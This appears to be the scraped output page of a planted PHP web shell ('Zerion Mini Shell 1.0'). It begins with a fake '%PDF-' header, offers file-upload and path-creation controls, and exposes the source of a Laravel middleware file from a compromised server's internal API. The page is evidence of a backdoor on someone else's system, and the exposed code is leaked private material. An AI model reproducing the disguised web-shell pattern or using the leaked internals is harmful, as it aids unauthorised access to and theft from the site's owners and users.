%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/diaspora/api_internal/app/Http/Middleware/
Upload File :
Create Path :
Current File : /var/www/html/diaspora/api_internal/app/Http/Middleware/UUIDMiddleware.php

<?php

namespace App\Http\Middleware;

use App\Models\Device;
use App\Models\User;
use Closure;
use Illuminate\Foundation\Http\Middleware\VerifyCsrfToken as Middleware;
use Spatie\Permission\Exceptions\UnauthorizedException;


class UUIDMiddleware extends Middleware
{
    public function handle($request, Closure $next)
    {
        try {
            /** @var Device $device */
            $device = Device::getDeviceByUUID($request->header('uuid'));

            if ($device && !$device->user) {
                /** @var User $user */
                $user = auth()
                    ->guard('api')
                    ->user();
                if ($user) {
                    $device->user()->associate($user);
                    $device->save();
                }
            }
        } catch (\Exception $e) {

        }

        return $next($request);
    }

}

Zerion Mini Shell 1.0